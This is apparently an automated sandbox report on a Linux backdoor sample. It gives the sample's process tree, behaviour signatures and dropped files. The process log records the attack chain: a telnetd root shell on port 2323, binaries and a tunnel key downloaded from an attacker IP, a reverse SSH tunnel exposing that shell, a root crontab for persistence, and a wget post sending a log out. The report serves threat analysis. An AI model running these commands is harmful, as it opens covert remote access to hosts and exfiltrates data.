Analysis

  • max time kernel
    8s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/07/2026, 06:32

General

  • Target
    x
  • Size 3KB
  • Sample260723-hal8vahe82
  • SHA256 10f008cccc17605cfd1b61cd02da7c70dbdbf8b9fcc7496f1925d82a67bb4022
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/x
    /tmp/x
    1⤵
    • Executes dropped EXE
    • Creates/modifies Cron job
    • Writes file to tmp directory
    PID:1487
    • /bin/date
      date
      2⤵
        PID:1488
      • /usr/bin/tee
        tee -a /tmp/persist.log
        2⤵
        • Writes file to tmp directory
        PID:1490
      • /bin/mkdir
        mkdir -p /dev/pts
        2⤵
          PID:1491
        • /bin/mount
          mount -t devpts devpts /dev/pts
          2⤵
            PID:1492
          • /usr/bin/killall
            killall telnetd utelnetd
            2⤵
            • Reads runtime system information
            PID:1493
          • /bin/sleep
            sleep 1
            2⤵
              PID:1496
            • /bin/busybox
              busybox telnetd -l /bin/sh -p 2323
              2⤵
                PID:1504
              • /usr/bin/tee
                tee -a /tmp/persist.log
                2⤵
                • Writes file to tmp directory
                PID:1507
              • /bin/sleep
                sleep 1
                2⤵
                  PID:1508
                • /bin/grep
                  grep -q :2323
                  2⤵
                    PID:1510
                  • /usr/bin/tee
                    tee -a /tmp/persist.log
                    2⤵
                    • Writes file to tmp directory
                    PID:1512
                  • /usr/bin/tee
                    tee -a /tmp/persist.log
                    2⤵
                    • Writes file to tmp directory
                    PID:1514
                  • /usr/bin/wget
                    wget -O /tmp/dbclient http://209.38.118.65:8080/d824ef7079bc/ex7000/dbclient
                    2⤵
                    • Writes file to tmp directory
                    PID:1515
                  • /bin/chmod
                    chmod +x /tmp/dbclient
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1516
                  • /bin/ls
                    ls -l /tmp/dbclient
                    2⤵
                      PID:1518
                    • /usr/bin/awk
                      awk "{print \$5}"
                      2⤵
                        PID:1519
                      • /usr/bin/tee
                        tee -a /tmp/persist.log
                        2⤵
                        • Writes file to tmp directory
                        PID:1521
                      • /usr/bin/tee
                        tee -a /tmp/persist.log
                        2⤵
                        • Writes file to tmp directory
                        PID:1523
                      • /usr/bin/wget
                        wget -O /tmp/tunnel_key http://209.38.118.65:8080/d824ef7079bc/ex7000/tunnel_key
                        2⤵
                        • Writes file to tmp directory
                        PID:1524
                      • /bin/chmod
                        chmod 600 /tmp/tunnel_key
                        2⤵
                          PID:1525
                        • /usr/bin/tee
                          tee -a /tmp/persist.log
                          2⤵
                          • Writes file to tmp directory
                          PID:1527
                        • /usr/bin/killall
                          killall dbclient
                          2⤵
                          • Reads runtime system information
                          PID:1528
                        • /bin/sleep
                          sleep 2
                          2⤵
                            PID:1529
                          • /bin/sleep
                            sleep 3
                            2⤵
                              PID:1531
                            • /tmp/dbclient
                              /tmp/dbclient -N -y -y -R 2234:127.0.0.1:2323 -i /tmp/tunnel_key -p 22 -K 30 "[email protected]"
                              2⤵
                                PID:1530
                              • /bin/pidof
                                pidof dbclient
                                2⤵
                                • Reads runtime system information
                                PID:1533
                              • /usr/bin/tee
                                tee -a /tmp/persist.log
                                2⤵
                                • Writes file to tmp directory
                                PID:1535
                              • /bin/mkdir
                                mkdir -p /var/spool/cron/crontabs
                                2⤵
                                  PID:1536
                                • /bin/cat
                                  cat
                                  2⤵
                                    PID:1537
                                  • /usr/bin/tee
                                    tee -a /tmp/persist.log
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1539
                                  • /usr/bin/tee
                                    tee -a /tmp/persist.log
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1541
                                • /usr/bin/wget
                                  wget -q "--post-file=/tmp/persist.log" http://209.38.118.65:9999/
                                  1⤵
                                    PID:1542

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

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                                        Downloads

                                        dbclient

                                        • Path /tmp/dbclient
                                        • Size 829KB
                                        • SHA256 0f393655fcbc439444772e9cb470da6ef3e7052b2fcc6dbf48700f5c1644365f
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        persist.log

                                        • Path /tmp/persist.log
                                        • Size 60B
                                        • SHA256 c2166d70c351acb0cf35e34fa483ca748fac074571189cb70c1ba61f2dae5f19
                                        • MD5 SHA1 SHA512 TLSH

                                        persist.log

                                        • Path /tmp/persist.log
                                        • Size 93B
                                        • SHA256 ca0731c683e242b99017a24abf296b3e4f484f97fcaae9ac9e6f3dc20b5132f9
                                        • MD5 SHA1 SHA512 TLSH

                                        persist.log

                                        • Path /tmp/persist.log
                                        • Size 131B
                                        • SHA256 b52264c93bc2947b5f1ac9b46d3291d7b0ce7561123f2348e2643a2e065fe5bc
                                        • MD5 SHA1 SHA512 TLSH

                                        persist.log

                                        • Path /tmp/persist.log
                                        • Size 159B
                                        • SHA256 c3899fb7896b26123fdac791d0d94dcd71061a6482b6e841132957b02489a122
                                        • MD5 SHA1 SHA512 TLSH

                                        persist.log

                                        • Path /tmp/persist.log
                                        • Size 2KB
                                        • SHA256 fe5f2d35dd1a2362a368ac01be0823444162caf08e34644b1b5754d4d0c1b09e
                                        • MD5 SHA1 SHA512 TLSH

                                        tunnel_key

                                        • Path /tmp/tunnel_key
                                        • Size 804B
                                        • SHA256 c46038426694798a71ec38d99a59473a478bd99ebcaedfaa1151aa39cc1f1226
                                        • MD5 SHA1 SHA512 TLSH

                                        root

                                        • Path /var/spool/cron/crontabs/root
                                        • Size 392B
                                        • SHA256 34b2b8ff190e7c9c0c9ab33c69ae3326f8461567876b34bbad552b48813972ce
                                        • MD5 SHA1 SHA512 TLSH